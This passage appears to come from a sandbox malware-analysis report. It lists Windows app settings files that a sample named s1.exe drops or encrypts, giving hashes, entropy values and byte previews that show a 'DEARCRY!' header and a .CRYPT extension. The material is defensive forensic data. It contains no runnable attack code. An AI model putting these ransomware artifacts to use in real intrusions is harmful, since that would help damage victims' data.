                                                              Preview: DEARCRY!......;.tXC.........3.....^.G.~.0....&7..A.......`3.0.&%..8...uHK&.GRj.0.o.B.<...r.....F\IY3...d.f.t............X$...........I.8. .9I..v.(.r..Y..l.H...R...d....,....c.5&.].=x..Xd..O.g...l.O...n.k..a..\1..{8./...I..i<....8.s.gCl.=S..9...f.3u.......... ......c.W.m^x.E.)=C..@..<..Gab.....8... GG/.Y.=..-\|........&......3_...}GF7|..T......X.[.n.[(..bc".....p.{ ...B...K?..I.l.D....S-.....B.7.`Q.F..}.m^...T\XouH..._...Q..u#W..D.$..,y...t..qH..P.....p.iu..V.8[;g...4..$RF.....|'@.....(]..8.0..z..!(..(.^...(I,.3P?....d.^+..J...s...4.....p......:C~.-l...u..C(..L..\.:..6...+.En|.U@....I..&<e.p.op...K.M.4E{....Y..W.m.d.p....X...=...&s.5]..C.KA_.r[..._...........L...Q._9..Ds....I.)W..).......Y.....Wr.BZ.7D....j..H...}.jl.:..0.o....W.R./E.8..1...[....@...&.F]$.2\...I-f1../j.2...}.C.+.G....Z{.gF.&.9.^...7... ....qE.m.<....kC0'.Xd.a...z...J]O..G#.y.ei..m..|...)...[..:ac....o3z...h.....%..U.F..`..vua.q.g...1..}....X.....j"...N.(.y*dh.;.sd...
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.975805104737104
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C1DAF344511E23B9573F6BE203586BFC
                                                              SHA1:E55CC5B5CD4408A07BAFFC7215B3D7ED831CA13E
                                                              SHA-256:D9F5C56210436DB9BCDD20EEA759D726A5B315C2D76433A6571FADA6F49673A4
                                                              SHA-512:5BA29AFFD55E6A3F2FFDCD64B28619F15D5D5864894069A4A6432572FBF45B16ACF9530FA248A588CCB41CB1CB22AA066E304CD0942DE3BDA1E1712F505B9A24
                                                              Malicious:false
                                                              Preview: DEARCRY!.......n.7|...>...S...........T....!AwR.<.H.0..8.....Z&..;.?`hh.F..*..E.K.l....{.)s.....X...f...*..I.m4I.x.<...uX3i...rgm#>.l.1......C....9:......]... ..6.......\[S0.T.].W".....g.s:.`GD.....Bq...`C......y6..<.@)...D.q..'..gS....`.Q...1..q(..j...<........ ......Q.%.^.W.@.....X}z.%."..4..1q=.5$...mwi[........7U\.n....K.3.:'M.U.....TjL.~.mr.;~3'[......u\9l>.N.Z.P..J%.{.q...W]=.9..V5..N...(f..u...o..y..cwM...do:._..f.].`1<..#z:.:-....8a...>E.EY.s....\.W.K..l.I........u....xP.....t.....;[.9wo.R......F...{..3g.P..K...E.%..k....x....8..4:...F......Y..-..w.........mp......$..o...K...k.....b~.t5b.({u.F.(..9X`+..>E2.{......y...N.<....g7...qj.K..1G...]<...{....U..l...Q_a=....9h.[..'N.........xB&.....Z0`../...u%r.../..;...ek8..Y.!..!..H.=h....$~.$..++..g}:...f.?.m.S.........il5$xM.~....xx}.P....r.Ui....X..../T...Y.QE~.....$&.C.T.:iN@G.c=7...5s`cH.....i"%0".6<..\.(KO...4d.;.....6ZtZz{.v..N:/}..r.l|0.Y#9.%.AN..l..j....ze...........A.^M0Y.dn..*..h
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.975345902874285
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:335D0DF3A88BE10A5195097E2A760FC0
                                                              SHA1:8F836692A978C62F252CBFDE1CAB00286736EF69
                                                              SHA-256:506645A9FBE71682D1D1354683A0C8C607AF347B535B46F43C36D564E119552D
                                                              SHA-512:ABAEAC00E741C114F64D24FAEE2C67A686C3806E30F4BB08A1479876A03E99D4A5CC084901C8F037403142B270C6139380781BD335223E9791EBAA084DDDE5CD
                                                              Malicious:false
                                                              Preview: DEARCRY!....k.tw.0\.(.../<..-.....n..d5.h`......s,D^..sB....,g....k...@..i.V@..S.'..5..~.....e...LKb/Ce..P.|..JY(Lg.#.<$...wh.G{....).%.Aitwu}.....0..Q.T..../....b.KdF..~6.........":Ij.N.|.U..:a/.n.u.G..Yq.Of......F.)...M...x..f.'VIs.5YO..d.Tp"....N..c..$....... ......>..2..1..${...:Ri^<.M..?2......ru..v...d.....f..%E.....sz.&~.........`......_B&.U......A.....s.(6x.g.......h.. V.[...'.7.E....5..........m`..~...V@.g....Q..75<H.8.%...=.|R.E......H.......}...#(F..x+=.....m....^.:.I.j....E.x.ae.N+o.@.x..v2..X.._...cg.(...../....f.v...a...}f.S....<...wm..].F..1...R6..k..an.w.|...W...=Wp....R.DR......@.0].#2d.#I0.6............b.hHO..E.Z{....)..l...@.p..U'..s`..'...N.u~HL............1.Ym.....,....._.#c...U.>...$z......[Mk.T..!. f.Bcu]\.I.$.#....... sV.4....%..}....On1..E.j>C.... ...)..,^...l......U...TC{?Z....kM.6...~.....-.9..(:...*.STB...Y..+..v3.F!.xJ..p.KU..C.n..E'%.okX....j."..F?.A...W.....M...A.O. .*.|.6....>.n?.......@..hi...........
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.979653764522716
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:59D962274A8DD6FCDF517F5B52CCAAD7
                                                              SHA1:72338BE8ED80D2CE5D2813CD19631EAA82A0DBCA
                                                              SHA-256:BEF997F08F29F0818E6FB9297CE4DEC77766EB6388B1A8611DF063735CEE6B35
                                                              SHA-512:12815A88CAD0C7AC76501EA2D56C78592C14457152CAE739E31B1E9E7F83701ABC315EA1330356D98C4768AEC227CFFDA00A2285219DCA491A3D304A635F990D
                                                              Malicious:false
                                                              Preview: DEARCRY!....i.....8m.W...&..[..ol.c..:.Z.S.(".....?.]...N.....Q...K]|..o...H...y..$.....zt.+,...._.p....M.i.&v;|.!.#.K...2!b...c..M.....1....A...\~R:e.[:...U..........V&7[t!Zv.>.....,).d..[.M......J74Gq...f.>..6.l..Z.1.x..[...I..UoF..^T..2Z^.h..Y....s.(.I....... ......H......$.b.f_X.OL....+18.Kp~|..J^....._...<$............Q.1$./...-..c.x[.h.A|X......=g....%Nf..*..0..D..`h.].:.5..4ct..I..?.QRD|!..1t..kh0.. !.r..!;.]...f*....>...Y.v....K.p...Zzx......eD.Y\...W.......... E<g.3.i.a.......-.~%..O..).F..{.d....~P.u.V.M3!.<...........>.Q.|<.y...P.7....0H.:.......sA=Ac.ii.3?..r.$..q..1...p.M......K.7.~.s...7....O.......1h.#.0.@_yo..V.y..^)...7O...).'...3L3?...[b.t.p..F.lD).kw..".........&.yG},~..Ypc.."....~.....w.. ..x..K..I../M..@.....o/..voj.@87[....3C1.a....8.. .d..C2...K./;....s..1p.e..~.c..5.j.....fj.A..g...M..w.C=.<HN.&qB*..d`D.3.2Q...f...OM.Z8.m.......0X.S.Dk.bmT."g.(.S..W..q..U..k....N%`7~..>`s..J%...-Z.....}.y...%J_.;.E....'.k..|.qVq....
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.988234034944543
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6C6FC5DFA476F7F2C23BAC24A440663F
                                                              SHA1:AC655E9665107AB1F5790FEBAC2F6A4DFD30BFD4
                                                              SHA-256:2DCFA103C0CAC0B2B51E594BB900CBAE845CEEAA6E2FF2B49283176915ADF9F0
                                                              SHA-512:4B0CF1BC621668FB4AF6FEA28FCF8DC30A7A1A92F953E21DD1E4D4F048148F474665F5752E8F5B810A91920B8AC90FD219053F1AB7B04DD664CFCD0AF6DEC53C
                                                              Malicious:false
                                                              Preview: DEARCRY!.......`Gbl...23T0......b!A.C.....\..c..j.#q.....i....2.....s8.J#.i.Oiz.4..P....,..a...| ....V&.z+."M....U.Qi.(.......?..:.z...{.>.@...&.Q.......qh^.:PE.O....{m.P.b...!.k..~1..b J:.i..75..[..........s..+...'..(_.'...N.;.Qf...y..4%..{`..Ow.O..j..g..g..... .......W;.......[...<..f..t.....|..k.<........@.j....;o....H!.N.......>........w...Q...N.vk..>h.V.....E.n?.t..\.{6.Xw.\..Q.....z...U..1........Yb,ly..8s..g.o....50...O....$r....1...;....Q.yDX. ..F.Z......@A..5.R1 xjR...(..>oq.|. ]r......x.G....2R.=.?I..z.*.w..F.u.-......P..v.....voLw.......l.u.....R.?.....b.n..-b...Wjg....x7..>{.....&.../...&.'8..7a].H.}%..._...-..$...;N.G2.[..O2B..\..IJ.......4..k..%.....U..k.]..D.UJf...x1'=..6%~...8..!.K.a.`...T..G.....'c.FX8..B.j5{.uN.D?lE.RH(.-8b....."SF....J.L...<..k{....1...]E4d4.......d5~..=......X.zI.c...0-.7....0c-..E.9\..=.gtN.p..2hc............(...o..pB..]rj..........b.@..oq.e..JV.c..ad.......*.6p..i.C...;o...E.....^...8...7pP.....
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978670459148179
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4CFF41FB200747BBAEB79D6A52453EA8
                                                              SHA1:78C0F4E95B49EC82C964A879A055B5C35DFB7935
                                                              SHA-256:ED72550F0AD6A02B2D776E8760C110180E7C62CCD0EFBF00F816D49CD587B86B
                                                              SHA-512:6636EAEC47FBA76C5E75FA3D746722FE6CA42EF7292ECFA1F509D52AC06362EB61E809E41672F4DFE6D5E2C9FEA3182FAF4E900712FD605A0A336164B02B1A56
                                                              Malicious:false
                                                              Preview: DEARCRY!....C@,6n.......}6.....Oq......r...o.4<.`s.....VA.v.Z...k"..R...c...a........-...K.3.9.........1.K...=z.`.6....*.+...L.....y=.).G..ba..w.gS..Z.."....H#....g%.&.iVBQG3.".t"3.....&..zU..H.h4C*.'!..>...~....2c.U....p.{.G.....*../.....Q...%.F.].7_.1....R...... ......9..#.b.....R.eFo......%~..B...g&.yb....JD<J....pq....i...|.XH..d...C.d....<>zxu......W.BsM...~....p..:...8........@.&-}Pe..m..?.G..K.1.W$)K...@.%*<..W.54..bNqz..K..Z..-..._..x.......-....gh.Lk'...%t....S.R<.w....2)VL3GIe......_1.,..GOx..s.'_i.E..n...,f.s...,..e?.,..E.W...%ocFd........-.Z..n..u.L.9..~;..)..&....p...75....).BNR...5.......S...hZ...T..e.....+[...X?.g./..n..i}.%.n............x.....-.....X.z......<..H^(6N..[.....EfP.._E../|}.E.!.BL^}.f...].S.YL....x../|.I>.....ZL:&..m._...b...d/.{...E4..Y....'.B...@I...n..ts.U..S..r....EP....=.......{...=.b.....Kpi`b.>....n...uUj....H.@...'e..J2.'...M(..........ud.I.s..O(.t..'...C...}{-jpU.,Zt....i:,S.Z..)..s....Fpg..dq.Rl..-_.f......p.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):46572
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FDE06A9C43EE96766E9E9BA4B9ACA4A3
                                                              SHA1:6DFFB73EC07D2B89BFD15F25B7A0A82F8711A75F
                                                              SHA-256:4CEB14523256AB010792387AE297ACA9893BC0D411C0DEDA7D6D24C393E2B981
                                                              SHA-512:A549B8EDBE6A2E1F78C51A692809FF50C5A831A97459C4631D5F4523174C0A3ED04459B8B952D917D6793BA9DE1E1D03132C0B89E70D0D2032C7C906A2514C51
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):46856
                                                              Entropy (8bit):7.996559198400505
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:10CA992A8F1508956C0C9F52E04F7C22
                                                              SHA1:46F1932D15E5EAC5B9541CBE717B5041E548702B
                                                              SHA-256:548540620343306765E28E00D1BB060000522C7F0C9C7870088DB72BD377AC08
                                                              SHA-512:5DAE0CB21F8F7AF6961DA5992393D72D3CA82DEA6FDB5A73F81115FD80CA15CA93C05F81AF8A136D6C964F8509075752C3146808899FE42766F6A49BC44080B5
                                                              Malicious:true
